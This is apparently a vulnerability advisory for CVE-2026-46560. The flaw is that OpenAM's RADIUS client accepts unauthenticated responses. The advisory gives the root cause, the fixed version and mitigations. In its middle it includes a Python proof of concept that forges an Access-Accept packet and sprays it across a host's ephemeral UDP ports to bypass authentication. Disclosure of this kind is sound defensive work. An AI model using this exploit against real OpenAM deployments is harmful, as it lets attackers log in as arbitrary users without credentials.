high · 7.5CVE-2026-46560Jun 26, 2026

CVE-2026-46560: OpenAM RADIUS Client Authentication Bypass via Response Spoofing

Shubham Kandhare
Security Engagement Manager, SecureLayer7

OpenAM's RADIUS client never validates the server response, so any attacker who can race or spray a forged Access-Accept UDP packet to the client port gains a full session as any RADIUS user without k

Packageorg.openidentityplatform.openam:openam-radius
Ecosystemmaven
Affected< 16.1.1
Fixed in16.1.1
CVE-2026-46560: OpenAM RADIUS Client Authentication Bypass via Response Spoofing

The problem

The openam-radius authentication module acts as a RADIUS client when delegating logins to an external RADIUS server. It sends an Access-Request over an unconnected UDP socket, then treats the very first datagram that arrives on that port as the authoritative server response.

Three checks mandated by RFC 2865 are all missing: the source IP and port are not validated, the response Identifier byte is not matched against the outstanding request, and the 16-byte Response Authenticator field is never verified with MD5(code+id+length+RequestAuth+attrs+secret).

Because none of these checks exist, any non-Reject, non-Challenge packet is unconditionally treated as success. This is strictly worse than the BlastRADIUS class (CVE-2024-3596), where an attacker must still produce a valid authenticator.

Proof of concept

python
# Minimal forged RADIUS Access-Accept (code=2) — no shared secret needed.
# Send this to the OpenAM server's ephemeral UDP source port BEFORE (or racing)
# the real RADIUS server reply. Any Identifier value is accepted.
#
# RADIUS wire format (RFC 2865):
#   Code      : 0x02  (Access-Accept)
#   Identifier: 0x01  (any value; not checked by vulnerable client)
#   Length    : 0x00 0x14  (20 bytes — header only, no attributes needed)
#   Authenticator: 16 bytes of zeros (not verified by vulnerable client)
#
import socket, struct

RADIUS_HOST = "<openam-host>"  # OpenAM server IP
RADIUS_SRC_PORT = 0            # ephemeral port OpenAM sent its Access-Request from
                               # (determine via pcap or port-scan timing)

# Code=2 (Access-Accept), ID=1, Length=20, Authenticator=16×0x00
packet = struct.pack("!BBH16s", 2, 1, 20, b"\x00" * 16)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Spray to likely ephemeral port range if exact port unknown
for port in range(32768, 61000):
    sock.sendto(packet, (RADIUS_HOST, port))
sock.close()

The root cause is CWE-347: the Response Authenticator defined in RFC 2865 §3 is computed as MD5(Code+ID+Length+RequestAuthenticator+Attributes+SharedSecret). Verifying it requires knowing the shared secret, which is the cryptographic binding between request and response.

Because OpenAM skipped this check entirely, an off-path attacker needs zero knowledge of the secret.

The patch in 16.1.1 must add at minimum: (1) connect() the DatagramSocket to the configured RADIUS server IP+port so the OS drops packets from other sources, (2) match the response Identifier to the one sent in the request, and (3) compute and compare the RFC 2865 Response Authenticator before acting on any Access-Accept.

Requiring the RFC 2869 Message-Authenticator attribute (which is HMAC-MD5 over the whole packet) would provide additional protection consistent with BlastRADIUS mitigations.

The fix

Upgrade to OpenAM Community Edition 16.1.1 or later. If an immediate upgrade is not possible, restrict the network path between OpenAM and its RADIUS server to a trusted, isolated segment so off-path UDP injection is not feasible. Do not expose the OpenAM RADIUS client port to untrusted networks.

Reporter not attributed.

References: [1][2][3]